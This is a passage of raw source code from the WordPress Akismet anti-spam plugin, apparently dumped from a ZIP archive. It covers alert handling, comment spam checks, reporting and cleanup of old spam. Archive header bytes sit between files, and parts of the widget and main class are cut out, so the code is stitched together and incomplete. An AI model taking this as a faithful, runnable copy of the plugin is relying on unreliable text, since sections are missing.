), ) ); } /** * Update the current alert code and message by triggering a call to the Akismet server. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function set_alert( $request ) { delete_option( 'akismet_alert_code' ); delete_option( 'akismet_alert_msg' ); // Make a request so the most recent alert code and message are retrieved. Akismet::verify_key( Akismet::get_api_key() ); return self::get_alert( $request ); } /** * Clear the current alert code and message. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function delete_alert( $request ) { delete_option( 'akismet_alert_code' ); delete_option( 'akismet_alert_msg' ); return self::get_alert( $request ); } private static function key_is_valid( $key ) { $response = Akismet::http_post( Akismet::build_query( array( 'key' => $key, 'blog' => get_option( 'home' ) ) ), 'verify-key' ); if ( $response[1] == 'valid' ) { return true; } return false; } public static function privileged_permission_callback() { return current_user_can( 'manage_options' ); } /** * For calls that Akismet.com makes to the site to clear outdated alert codes, use the API key for authorization. */ public static function remote_call_permission_callback( $request ) { $local_key = Akismet::get_api_key(); return $local_key && ( strtolower( $request->get_param( 'key' ) ) === strtolower( $local_key ) ); } public static function sanitize_interval( $interval, $request, $param ) { $interval = trim( $interval ); $valid_intervals = array( '60-days', '6-months', 'all', ); if ( ! in_array( $interval, $valid_intervals ) ) { $interval = 'all'; } return $interval; } public static function sanitize_key( $key, $request, $param ) { return trim( $key ); } } PK/—[ò²X( ( akismet/class.akismet-widget.phpnu„[µü¤ __( 'Display the number of spam comments Akismet has caught' , 'akismet') ) ); if ( is_active_widget( false, false, $this->id_base ) ) { add_action( 'wp_head', array( $this, 'css' ) ); } } function css() { ?>

      '', 'blog_charset' => '', 'blog_lang' => '', 'blog_ua' => '', 'comment_agent' => '', 'comment_author' => '', 'comment_author_IP' => '', 'comment_author_email' => '', 'comment_author_url' => '', 'comment_content' => '', 'comment_date_gmt' => '', 'comment_tags' => '', 'comment_type' => '', 'guid' => '', 'is_test' => '', 'permalink' => '', 'reporter' => '', 'site_domain' => '', 'submit_referer' => '', 'submit_uri' => '', 'user_ID' => '', 'user_agent' => '', 'user_id' => '', 'user_ip' => '' ); /** * Is the comment check happening in the context of an API call? Of if false, then it's during the POST that happens after filling out a comment form. * * @var type bool */ private static $is_api_call = false; public static function init() { if ( ! self::$initiated ) { self::init_hooks(); } } /** * Initializes WordPress hooks */ private static function init_hooks() { self::$initiated = true; add_action( 'wp_insert_comment', array( 'Akismet', 'auto_check_update_meta' ), 10, 2 ); add_filter( 'preprocess_comment', array( 'Akismet', 'auto_check_comment' ), 1 ); add_filter( 'rest_pre_insert_comment', array( 'Akismet', 'rest_auto_check_comment' ), 1 ); add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments' ) ); add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments_meta' ) ); add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_orphaned_commentmeta' ) ); add_action( 'akismet_schedule_cron_recheck', array( 'Akismet', 'cron_recheck' ) ); add_action( 'comment_form', array( 'Akismet', 'add_comment_nonce' ), 1 ); add_action( 'admin_head-edit-comments.php', array( 'Akismet', 'load_form_js' ) ); add_action( 'comment_form', array( 'Akismet', 'load_form_js' ) ); add_action( 'comment_form', array( 'Akismet', 'inject_ak_js' ) ); add_filter( 'script_loader_tag', array( 'Akismet', 'set_form_js_async' ), 10, 3 ); add_filter( 'comment_moderation_recipients', array( 'Akismet', 'disable_moderation_emails_if_unreachable' ), 1000, 2 ); add_filter( 'pre_comment_approved', array( 'Akismet', 'last_comment_status' ), 10, 2 ); add_action( 'transition_comment_status', array( 'Akismet', 'transition_comment_status' ), 10, 3 ); // Run this early in the pingback call, before doing a remote fetch of the source uri add_action( 'xmlrpc_call', array( 'Akismet', 'pre_check_pingback' ) ); // Jetpack compatibility add_filter( 'jetpack_options_whitelist', array( 'Akismet', 'add_to_jetpack_options_whitelist' ) ); add_action( 'update_option_wordpress_api_key', array( 'Akismet', 'updated_option' ), 10, 2 ); add_action( 'add_option_wordpress_api_key', array( 'Akismet', 'added_option' ), 10, 2 ); add_action( 'comment_form_after', array( 'Akismet', 'display_comment_form_privacy_notice' ) ); } public static function get_api_key() { return apply_filters( 'akismet_get_api_key', defined('WPCOM_API_KEY') ? constant('WPCOM_API_KEY') : get_option('wordpress_api_key') ); } public static function check_key_status( $key, $ip = null ) { return self::http_post( Akismet::build_query( array( 'key' => $key, 'blog' => get_option( 'home' ) ) ), 'verify-key', $ip ); } public static function verify_key( $key, $ip = null ) { // Shortcut for obviously invalid keys. if ( strlen( $key ) != 12 ) { return 'invalid'; } $response = self::check_key_status( $key, $ip ); if ( $response[1] != 'valid' && $response[1] != 'invalid' ) return 'failed'; return $response[1]; } public static function deactivate_key( $key ) { $response = self::http_post( Akismet::build_query( array( 'key' => $key, 'blog' => get_option( 'home' ) ) ), 'deactivate' ); if ( $response[1] != 'deactivated' ) return 'failed'; return $response[1]; } /** * Add the akismet option to the Jetpack options management whitelist. * * @param array $options The list of whitelisted option names. * @return array The updated whitelist */ public static function add_to_jetpack_options_whitelist( $options ) { $options[] = 'wordpress_api_key'; return $options; } /** * When the akismet option is updated, run the registration call. * * This should only be run when the option is updated from the Jetpack/WP.com * API call, and only if the new key is different than the old key. * * @param mixed $old_value The old option value. * @param mixed $value The new option value. */ public static function updated_option( $old_value, $value ) { // Not an API call if ( ! class_exists( 'WPCOM_JSON_API_Update_Option_Endpoint' ) ) { return; } // Only run the registration if the old key is different. if ( $old_value !== $value ) { self::verify_key( $value ); } } /** * Treat the creation of an API key the same as updating the API key to a new value. * * @param mixed $option_name Will always be "wordpress_api_key", until something else hooks in here. * @param mixed $value The option value. */ public static function added_option( $option_name, $value ) { if ( 'wordpress_api_key' === $option_name ) { return self::updated_option( '', $value ); } } public static function rest_auto_check_comment( $commentdata ) { self::$is_api_call = true; return self::auto_check_comment( $commentdata ); } public static function auto_check_comment( $commentdata ) { // If no key is configured, then there's no point in doing any of this. if ( ! self::get_api_key() ) { return $commentdata; } self::$last_comment_result = null; $comment = $commentdata; $comment['user_ip'] = self::get_ip_address(); $comment['user_agent'] = self::get_user_agent(); $comment['referrer'] = self::get_referer(); $comment['blog'] = get_option( 'home' ); $comment['blog_lang'] = get_locale(); $comment['blog_charset'] = get_option('blog_charset'); $comment['permalink'] = get_permalink( $comment['comment_post_ID'] ); if ( ! empty( $comment['user_ID'] ) ) { $comment['user_role'] = Akismet::get_user_roles( $comment['user_ID'] ); } /** See filter documentation in init_hooks(). */ $akismet_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) ); $comment['akismet_comment_nonce'] = 'inactive'; if ( $akismet_nonce_option == 'true' || $akismet_nonce_option == '' ) { $comment['akismet_comment_nonce'] = 'failed'; if ( isset( $_POST['akismet_comment_nonce'] ) && wp_verify_nonce( $_POST['akismet_comment_nonce'], 'akismet_comment_nonce_' . $comment['comment_post_ID'] ) ) $comment['akismet_comment_nonce'] = 'passed'; // comment reply in wp-admin if ( isset( $_POST['_ajax_nonce-replyto-comment'] ) && check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' ) ) $comment['akismet_comment_nonce'] = 'passed'; } if ( self::is_test_mode() ) $comment['is_test'] = 'true'; foreach( $_POST as $key => $value ) { if ( is_string( $value ) ) $comment["POST_{$key}"] = $value; } foreach ( $_SERVER as $key => $value ) { if ( ! is_string( $value ) ) { continue; } if ( preg_match( "/^HTTP_COOKIE/", $key ) ) { continue; } // Send any potentially useful $_SERVER vars, but avoid sending junk we don't need. if ( preg_match( "/^(HTTP_|REMOTE_ADDR|REQUEST_URI|DOCUMENT_URI)/", $key ) ) { $comment[ "$key" ] = $value; } } $post = get_post( $comment['comment_post_ID'] ); if ( ! is_null( $post ) ) { // $post can technically be null, although in the past, it's always been an indicator of another plugin interfering. $comment[ 'comment_post_modified_gmt' ] = $post->post_modified_gmt; } $response = self::http_post( Akismet::build_query( $comment ), 'comment-check' ); do_action( 'akismet_comment_check_response', $response ); $commentdata['comment_as_submitted'] = array_intersect_key( $comment, self::$comment_as_submitted_allowed_keys ); // Also include any form fields we inject into the comment form, like ak_js foreach ( $_POST as $key => $value ) { if ( is_string( $value ) && strpos( $key, 'ak_' ) === 0 ) { $commentdata['comment_as_submitted'][ 'POST_' . $key ] = $value; } } $commentdata['akismet_result'] = $response[1]; if ( isset( $response[0]['x-akismet-pro-tip'] ) ) $commentdata['akismet_pro_tip'] = $response[0]['x-akismet-pro-tip']; if ( isset( $response[0]['x-akismet-error'] ) ) { // An error occurred that we anticipated (like a suspended key) and want the user to act on. // Send to moderation. self::$last_comment_result = '0'; } else if ( 'true' == $response[1] ) { // akismet_spam_count will be incremented later by comment_is_spam() self::$last_comment_result = 'spam'; $discard = ( isset( $commentdata['akismet_pro_tip'] ) && $commentdata['akismet_pro_tip'] === 'discard' && self::allow_discard() ); do_action( 'akismet_spam_caught', $discard ); if ( $discard ) { // The spam is obvious, so we're bailing out early. // akismet_result_spam() won't be called so bump the counter here if ( $incr = apply_filters( 'akismet_spam_count_incr', 1 ) ) { update_option( 'akismet_spam_count', get_option( 'akismet_spam_count' ) + $incr ); } if ( self::$is_api_call ) { return new WP_Error( 'akismet_rest_comment_discarded', __( 'Comment discarded.', 'akismet' ) ); } else { // Redirect back to the previous page, or failing that, the post permalink, or failing that, the homepage of the blog. $redirect_to = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : ( $post ? get_permalink( $post ) : home_url() ); wp_safe_redirect( esc_url_raw( $redirect_to ) ); die(); } } else if ( self::$is_api_call ) { // The way the REST API structures its calls, we can set the comment_approved value right away. $commentdata['comment_approved'] = 'spam'; } } // if the response is neither true nor false, hold the comment for moderation and schedule a recheck if ( 'true' != $response[1] && 'false' != $response[1] ) { if ( !current_user_can('moderate_comments') ) { // Comment status should be moderated self::$last_comment_result = '0'; } if ( ! wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) { wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'invalid-response-' . $response[1] ); } self::$prevent_moderation_email_for_these_comments[] = $commentdata; } // Delete old comments daily if ( ! wp_next_scheduled( 'akismet_scheduled_delete' ) ) { wp_schedule_event( time(), 'daily', 'akismet_scheduled_delete' ); } self::set_last_comment( $commentdata ); self::fix_scheduled_recheck(); return $commentdata; } public static function get_last_comment() { return self::$last_comment; } public static function set_last_comment( $comment ) { if ( is_null( $comment ) ) { self::$last_comment = null; } else { // We filter it here so that it matches the filtered comment data that we'll have to compare against later. // wp_filter_comment expects comment_author_IP self::$last_comment = wp_filter_comment( array_merge( array( 'comment_author_IP' => self::get_ip_address() ), $comment ) ); } } // this fires on wp_insert_comment. we can't update comment_meta when auto_check_comment() runs // because we don't know the comment ID at that point. public static function auto_check_update_meta( $id, $comment ) { // wp_insert_comment() might be called in other contexts, so make sure this is the same comment // as was checked by auto_check_comment if ( is_object( $comment ) && !empty( self::$last_comment ) && is_array( self::$last_comment ) ) { if ( self::matches_last_comment( $comment ) ) { load_plugin_textdomain( 'akismet' ); // normal result: true or false if ( self::$last_comment['akismet_result'] == 'true' ) { update_comment_meta( $comment->comment_ID, 'akismet_result', 'true' ); self::update_comment_history( $comment->comment_ID, '', 'check-spam' ); if ( $comment->comment_approved != 'spam' ) { self::update_comment_history( $comment->comment_ID, '', 'status-changed-' . $comment->comment_approved ); } } elseif ( self::$last_comment['akismet_result'] == 'false' ) { update_comment_meta( $comment->comment_ID, 'akismet_result', 'false' ); self::update_comment_history( $comment->comment_ID, '', 'check-ham' ); // Status could be spam or trash, depending on the WP version and whether this change applies: // https://core.trac.wordpress.org/changeset/34726 if ( $comment->comment_approved == 'spam' || $comment->comment_approved == 'trash' ) { if ( function_exists( 'wp_check_comment_disallowed_list' ) ) { if ( wp_check_comment_disallowed_list( $comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent ) ) { self::update_comment_history( $comment->comment_ID, '', 'wp-disallowed' ); } else { self::update_comment_history( $comment->comment_ID, '', 'status-changed-' . $comment->comment_approved ); } } else if ( function_exists( 'wp_blacklist_check' ) && wp_blacklist_check( $comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent ) ) { self::update_comment_history( $comment->comment_ID, '', 'wp-blacklisted' ); } else { self::update_comment_history( $comment->comment_ID, '', 'status-changed-' . $comment->comment_approved ); } } } else { // abnormal result: error update_comment_meta( $comment->comment_ID, 'akismet_error', time() ); self::update_comment_history( $comment->comment_ID, '', 'check-error', array( 'response' => substr( self::$last_comment['akismet_result'], 0, 50 ) ) ); } // record the complete original data as submitted for checking if ( isset( self::$last_comment['comment_as_submitted'] ) ) { update_comment_meta( $comment->comment_ID, 'akismet_as_submitted', self::$last_comment['comment_as_submitted'] ); } if ( isset( self::$last_comment['akismet_pro_tip'] ) ) { update_comment_meta( $comment->comment_ID, 'akismet_pro_tip', self::$last_comment['akismet_pro_tip'] ); } } } } public static function delete_old_comments() { global $wpdb; /** * Determines how many comments will be deleted in each batch. * * @param int The default, as defined by AKISMET_DELETE_LIMIT. */ $delete_limit = apply_filters( 'akismet_delete_comment_limit', defined( 'AKISMET_DELETE_LIMIT' ) ? AKISMET_DELETE_LIMIT : 10000 ); $delete_limit = max( 1, intval( $delete_limit ) ); /** * Determines how many days a comment will be left in the Spam queue before being deleted. * * @param int The default number of days. */ $delete_interval = apply_filters( 'akismet_delete_comment_interval', 15 ); $delete_interval = max( 1, intval( $delete_interval ) ); while ( $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_id FROM {$wpdb->comments} WHERE DATE_SUB(NOW(), INTERVAL %d DAY) > comment_date_gmt AND comment_approved = 'spam' LIMIT %d", $delete_interval, $delete_limit ) ) ) { if ( empty( $comment_ids ) ) return; $wpdb->queries = array(); foreach ( $comment_ids as $comment_id ) { do_action( 'delete_comment', $comment_id ); do_action( 'akismet_batch_delete_count', __FUNCTION__ ); } // Prepared as strings since comment_id is an unsigned BIGINT, and using %d will constrain the value to the maximum signed BIGINT. $format_string = implode( ", ", array_fill( 0, count( $comment_ids ), '%s' ) ); $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->comments} WHERE comment_id IN ( " . $format_string . " )", $comment_ids ) ); $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->commentmeta} WHERE comment_id IN ( " . $format_string . " )", $comment_ids ) ); clean_comment_cache( $comment_ids ); do_action( 'akismet_delete_comment_batch', count( $comment_ids ) ); } if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->comments ) ) // lucky number $wpdb->query("OPTIMIZE TABLE {$wpdb->comments}"); } public static function delete_old_comments_meta() { global $wpdb; $interval = apply_filters( 'akismet_delete_commentmeta_interval', 15 ); # enforce a minimum of 1 day $interval = absint( $interval ); if ( $interval < 1 ) $interval = 1; // akismet_as_submitted meta values are large, so expire them // after $interval days regardless of the comment status while ( $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT m.comment_id FROM {$wpdb->commentmeta} as m INNER JOIN {$wpdb->comments} as c USING(comment_id) WHERE m.meta_key = 'akismet_as_submitted' AND DATE_SUB(NOW(), INTERVAL %d DAY) > c.comment_date_gmt LIMIT 10000", $interval ) ) ) { if ( empty( $comment_ids ) ) return; $wpdb->queries = array(); foreach ( $comment_ids as $comment_id ) { delete_comment_meta( $comment_id, 'akismet_as_submitted' ); do_action( 'akismet_batch_delete_count', __FUNCTION__ ); } do_action( 'akismet_delete_commentmeta_batch', count( $comment_ids ) ); } if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->commentmeta ) ) // lucky number $wpdb->query("OPTIMIZE TABLE {$wpdb->commentmeta}"); } // Clear out comments meta that no longer have corresponding comments in the database public static function delete_orphaned_commentmeta() { global $wpdb; $last_meta_id = 0; $start_time = isset( $_SERVER['REQUEST_TIME_FLOAT'] ) ? $_SERVER['REQUEST_TIME_FLOAT'] : microtime( true ); $max_exec_time = max( ini_get('max_execution_time') - 5, 3 ); while ( $commentmeta_results = $wpdb->get_results( $wpdb->prepare( "SELECT m.meta_id, m.comment_id, m.meta_key FROM {$wpdb->commentmeta} as m LEFT JOIN {$wpdb->comments} as c USING(comment_id) WHERE c.comment_id IS NULL AND m.meta_id > %d ORDER BY m.meta_id LIMIT 1000", $last_meta_id ) ) ) { if ( empty( $commentmeta_results ) ) return; $wpdb->queries = array(); $commentmeta_deleted = 0; foreach ( $commentmeta_results as $commentmeta ) { if ( 'akismet_' == substr( $commentmeta->meta_key, 0, 8 ) ) { delete_comment_meta( $commentmeta->comment_id, $commentmeta->meta_key ); do_action( 'akismet_batch_delete_count', __FUNCTION__ ); $commentmeta_deleted++; } $last_meta_id = $commentmeta->meta_id; } do_action( 'akismet_delete_commentmeta_batch', $commentmeta_deleted ); // If we're getting close to max_execution_time, quit for this round. if ( microtime(true) - $start_time > $max_exec_time ) return; } if ( apply_filters( 'akismet_optimize_table', ( mt_rand(1, 5000) == 11), $wpdb->commentmeta ) ) // lucky number $wpdb->query("OPTIMIZE TABLE {$wpdb->commentmeta}"); } // how many approved comments does this author have? public static function get_user_comments_approved( $user_id, $comment_author_email, $comment_author, $comment_author_url ) { global $wpdb; if ( !empty( $user_id ) ) return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE user_id = %d AND comment_approved = 1", $user_id ) ); if ( !empty( $comment_author_email ) ) return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_author_email = %s AND comment_author = %s AND comment_author_url = %s AND comment_approved = 1", $comment_author_email, $comment_author, $comment_author_url ) ); return 0; } // get the full comment history for a given comment, as an array in reverse chronological order public static function get_comment_history( $comment_id ) { $history = get_comment_meta( $comment_id, 'akismet_history', false ); if ( empty( $history ) || empty( $history[ 0 ] ) ) { return false; } /* // To see all variants when testing. $history[] = array( 'time' => 445856401, 'message' => 'Old versions of Akismet stored the message as a literal string in the commentmeta.', 'event' => null ); $history[] = array( 'time' => 445856402, 'event' => 'recheck-spam' ); $history[] = array( 'time' => 445856403, 'event' => 'check-spam' ); $history[] = array( 'time' => 445856404, 'event' => 'recheck-ham' ); $history[] = array( 'time' => 445856405, 'event' => 'check-ham' ); $history[] = array( 'time' => 445856406, 'event' => 'wp-blacklisted' ); $history[] = array( 'time' => 445856406, 'event' => 'wp-disallowed' ); $history[] = array( 'time' => 445856407, 'event' => 'report-spam' ); $history[] = array( 'time' => 445856408, 'event' => 'report-spam', 'user' => 'sam' ); $history[] = array( 'message' => 'sam reported this comment as spam (hardcoded message).', 'time' => 445856400, 'event' => 'report-spam', 'user' => 'sam' ); $history[] = array( 'time' => 445856409, 'event' => 'report-ham', 'user' => 'sam' ); $history[] = array( 'message' => 'sam reported this comment as ham (hardcoded message).', 'time' => 445856400, 'event' => 'report-ham', 'user' => 'sam' ); // $history[] = array( 'time' => 445856410, 'event' => 'cron-retry-spam' ); $history[] = array( 'time' => 445856411, 'event' => 'cron-retry-ham' ); $history[] = array( 'time' => 445856412, 'event' => 'check-error' ); // $history[] = array( 'time' => 445856413, 'event' => 'check-error', 'meta' => array( 'response' => 'The server was taking a nap.' ) ); $history[] = array( 'time' => 445856414, 'event' => 'recheck-error' ); // Should not generate a message. $history[] = array( 'time' => 445856415, 'event' => 'recheck-error', 'meta' => array( 'response' => 'The server was taking a nap.' ) ); $history[] = array( 'time' => 445856416, 'event' => 'status-changedtrash' ); $history[] = array( 'time' => 445856417, 'event' => 'status-changedspam' ); $history[] = array( 'time' => 445856418, 'event' => 'status-changedhold' ); $history[] = array( 'time' => 445856419, 'event' => 'status-changedapprove' ); $history[] = array( 'time' => 445856420, 'event' => 'status-changed-trash' ); $history[] = array( 'time' => 445856421, 'event' => 'status-changed-spam' ); $history[] = array( 'time' => 445856422, 'event' => 'status-changed-hold' ); $history[] = array( 'time' => 445856423, 'event' => 'status-changed-approve' ); $history[] = array( 'time' => 445856424, 'event' => 'status-trash', 'user' => 'sam' ); $history[] = array( 'time' => 445856425, 'event' => 'status-spam', 'user' => 'sam' ); $history[] = array( 'time' => 445856426, 'event' => 'status-hold', 'user' => 'sam' ); $history[] = array( 'time' => 445856427, 'event' => 'status-approve', 'user' => 'sam' ); */ usort( $history, array( 'Akismet', '_cmp_time' ) ); return $history; } /** * Log an event for a given comment, storing it in comment_meta. * * @param int $comment_id The ID of the relevant comment. * @param string $message The string description of the event. No longer used. * @param string $event The event code. * @param array $meta Metadata about the history entry. e.g., the user that reported or changed the status of a given comment. */ public static function update_comment_history( $comment_id, $message, $event=null, $meta=null ) { global $current_user; $user = ''; $event = array( 'time' => self::_get_microtime(), 'event' => $event, ); if ( is_object( $current_user ) && isset( $current_user->user_login ) ) { $event['user'] = $current_user->user_login; } if ( ! empty( $meta ) ) { $event['meta'] = $meta; } // $unique = false so as to allow multiple values per comment $r = add_comment_meta( $comment_id, 'akismet_history', $event, false ); } public static function check_db_comment( $id, $recheck_reason = 'recheck_queue' ) { global $wpdb; if ( ! self::get_api_key() ) { return new WP_Error( 'akismet-not-configured', __( 'Akismet is not configured. Please enter an API key.', 'akismet' ) ); } $c = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $id ), ARRAY_A ); if ( ! $c ) { return new WP_Error( 'invalid-comment-id', __( 'Comment not found.', 'akismet' ) ); } $c['user_ip'] = $c['comment_author_IP']; $c['user_agent'] = $c['comment_agent']; $c['referrer'] = ''; $c['blog'] = get_option( 'home' ); $c['blog_lang'] = get_locale(); $c['blog_charset'] = get_option('blog_charset'); $c['permalink'] = get_permalink($c['comment_post_ID']); $c['recheck_reason'] = $recheck_reason; $c['user_role'] = ''; if ( ! empty( $c['user_ID'] ) ) { $c['user_role'] = Akismet::get_user_roles( $c['user_ID'] ); } if ( self::is_test_mode() ) $c['is_test'] = 'true'; $response = self::http_post( Akismet::build_query( $c ), 'comment-check' ); if ( ! empty( $response[1] ) ) { return $response[1]; } return false; } public static function recheck_comment( $id, $recheck_reason = 'recheck_queue' ) { add_comment_meta( $id, 'akismet_rechecking', true ); $api_response = self::check_db_comment( $id, $recheck_reason ); delete_comment_meta( $id, 'akismet_rechecking' ); if ( is_wp_error( $api_response ) ) { // Invalid comment ID. } else if ( 'true' === $api_response ) { wp_set_comment_status( $id, 'spam' ); update_comment_meta( $id, 'akismet_result', 'true' ); delete_comment_meta( $id, 'akismet_error' ); delete_comment_meta( $id, 'akismet_delayed_moderation_email' ); Akismet::update_comment_history( $id, '', 'recheck-spam' ); } elseif ( 'false' === $api_response ) { update_comment_meta( $id, 'akismet_result', 'false' ); delete_comment_meta( $id, 'akismet_error' ); delete_comment_meta( $id, 'akismet_delayed_moderation_email' ); Akismet::update_comment_history( $id, '', 'recheck-ham' ); } else { // abnormal result: error update_comment_meta( $id, 'akismet_result', 'error' ); Akismet::update_comment_history( $id, '', 'recheck-error', array( 'response' => substr( $api_response, 0, 50 ) ) ); } return $api_response; } public static function transition_comment_status( $new_status, $old_status, $comment ) { if ( $new_status == $old_status ) return; if ( 'spam' === $new_status || 'spam' === $old_status ) { // Clear the cache of the "X comments in your spam queue" count on the dashboard. wp_cache_delete( 'akismet_spam_count', 'widget' ); } # we don't need to record a history item for deleted comments if ( $new_status == 'delete' ) return; if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) && !current_user_can( 'moderate_comments' ) ) return; if ( defined('WP_IMPORTING') && WP_IMPORTING == true ) return; // if this is present, it means the status has been changed by a re-check, not an explicit user action if ( get_comment_meta( $comment->comment_ID, 'akismet_rechecking' ) ) return; // Assumption alert: // We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status // is changed automatically by another plugin. Unfortunately WordPress doesn't provide an unambiguous way to // determine why the transition_comment_status action was triggered. And there are several different ways by which // to spam and unspam comments: bulk actions, ajax, links in moderation emails, the dashboard, and perhaps others. // We'll assume that this is an explicit user action if certain POST/GET variables exist. if ( // status=spam: Marking as spam via the REST API or... // status=unspam: I'm not sure. Maybe this used to be used instead of status=approved? Or the UI for removing from spam but not approving has been since removed?... // status=approved: Unspamming via the REST API (Calypso) or... ( isset( $_POST['status'] ) && in_array( $_POST['status'], array( 'spam', 'unspam', 'approved', ) ) ) // spam=1: Clicking "Spam" underneath a comment in wp-admin and allowing the AJAX request to happen. || ( isset( $_POST['spam'] ) && (int) $_POST['spam'] == 1 ) // unspam=1: Clicking "Not Spam" underneath a comment in wp-admin and allowing the AJAX request to happen. Or, clicking "Undo" after marking something as spam. || ( isset( $_POST['unspam'] ) && (int) $_POST['unspam'] == 1 ) // comment_status=spam/unspam: It's unclear where this is happening. || ( isset( $_POST['comment_status'] ) && in_array( $_POST['comment_status'], array( 'spam', 'unspam' ) ) ) // action=spam: Choosing "Mark as Spam" from the Bulk Actions dropdown in wp-admin (or the "Spam it" link in notification emails). // action=unspam: Choosing "Not Spam" from the Bulk Actions dropdown in wp-admin. // action=spamcomment: Following the "Spam" link below a comment in wp-admin (not allowing AJAX request to happen). // action=unspamcomment: Following the "Not Spam" link below a comment in wp-admin (not allowing AJAX request to happen). || ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'spam', 'unspam', 'spamcomment', 'unspamcomment', ) ) ) // action=editedcomment: Editing a comment via wp-admin (and possibly changing its status). || ( isset( $_POST['action'] ) && in_array( $_POST['action'], array( 'editedcomment' ) ) ) // for=jetpack: Moderation via the WordPress app, Calypso, anything powered by the Jetpack connection. || ( isset( $_GET['for'] ) && ( 'jetpack' == $_GET['for'] ) && ( ! defined( 'IS_WPCOM' ) || ! IS_WPCOM ) ) // Certain WordPress.com API requests || ( defined( 'REST_API_REQUEST' ) && REST_API_REQUEST ) // WordPress.org REST API requests || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) { if ( $new_status == 'spam' && ( $old_status == 'approved' || $old_status == 'unapproved' || !$old_status ) ) { return self::submit_spam_comment( $comment->comment_ID ); } elseif ( $old_status == 'spam' && ( $new_status == 'approved' || $new_status == 'unapproved' ) ) { return self::submit_nonspam_comment( $comment->comment_ID ); } } self::update_comment_history( $comment->comment_ID, '', 'status-' . $new_status ); } public static function submit_spam_comment( $comment_id ) { global $wpdb, $current_user, $current_site; $comment_id = (int) $comment_id; $comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id ) ); if ( !$comment ) // it was deleted return; if ( 'spam' != $comment->comment_approved ) return; self::update_comment_history( $comment_id, '', 'report-spam' ); // If the user hasn't configured Akismet, there's nothing else to do at this point. if ( ! self::get_api_key() ) { return; } // use the original version stored in comment_meta if available $as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) ); if ( $as_submitted && is_array( $as_submitted ) && isset( $as_submitted['comment_content'] ) ) $comment = (object) array_merge( (array)$comment, $as_submitted ); $comment->blog = get_option( 'home' ); $comment->blog_lang = get_locale(); $comment->blog_charset = get_option('blog_charset'); $comment->permalink = get_permalink($comment->comment_post_ID); if ( is_object($current_user) ) $comment->reporter = $current_user->user_login; if ( is_object($current_site) ) $comment->site_domain = $current_site->domain; $comment->user_role = ''; if ( ! empty( $comment->user_ID ) ) { $comment->user_role = Akismet::get_user_roles( $comment->user_ID ); } if ( self::is_test_mode() ) $comment->is_test = 'true'; $post = get_post( $comment->comment_post_ID ); if ( ! is_null( $post ) ) { $comment->comment_post_modified_gmt = $post->post_modified_gmt; } $response = Akismet::http_post( Akismet::build_query( $comment ), 'submit-spam' ); update_comment_meta( $comment_id, 'akismet_user_result', 'true' ); if ( $comment->reporter ) { update_comment_meta( $comment_id, 'akismet_user', $comment->reporter ); } do_action('akismet_submit_spam_comment', $comment_id, $response[1]); } public static function submit_nonspam_comment( $comment_id ) { global $wpdb, $current_user, $current_site; $comment_id = (int) $comment_id; $comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id ) ); if ( !$comment ) // it was deleted return; self::update_comment_history( $comment_id, '', 'report-ham' ); // If the user hasn't configured Akismet, there's nothing else to do at this point. if ( ! self::get_api_key() ) { return; } // use the original version stored in comment_meta if available $as_submitted = self::sanitize_comment_as_submitted( get_comment_meta( $comment_id, 'akismet_as_submitted', true ) ); if ( $as_submitted && is_array($as_submitted) && isset($as_submitted['comment_content']) ) $comment = (object) array_merge( (array)$comment, $as_submitted ); $comment->blog = get_option( 'home' ); $comment->blog_lang = get_locale(); $comment->blog_charset = get_option('blog_charset'); $comment->permalink = get_permalink( $comment->comment_post_ID ); $comment->user_role = ''; if ( is_object($current_user) ) $comment->reporter = $current_user->user_login; if ( is_object($current_site) ) $comment->site_domain = $current_site->domain; if ( ! empty( $comment->user_ID ) ) { $comment->user_role = Akismet::get_user_roles( $comment->user_ID ); } if ( Akismet::is_test_mode() ) $comment->is_test = 'true'; $post = get_post( $comment->comment_post_ID ); if ( ! is_null( $post ) ) { $comment->comment_post_modified_gmt = $post->post_modified_gmt; } $response = self::http_post( Akismet::build_query( $comment ), 'submit-ham' ); update_comment_meta( $comment_id, 'akismet_user_result', 'false' ); if ( $comment->reporter ) { update_comment_meta( $comment_id, 'akismet_user', $comment->reporter ); } do_action('akismet_submit_nonspam_comment', $comment_id, $response[1]); } public static function cron_recheck() { global $wpdb; $api_key = self::get_api_key(); $status = self::verify_key( $api_key ); if ( get_option( 'akismet_alert_code' ) || $status == 'invalid' ) { // since there is currently a problem with the key, reschedule a check for 6 hours hence wp_schedule_single_event( time() + 21600, 'akismet_schedule_cron_recheck' ); do_action( 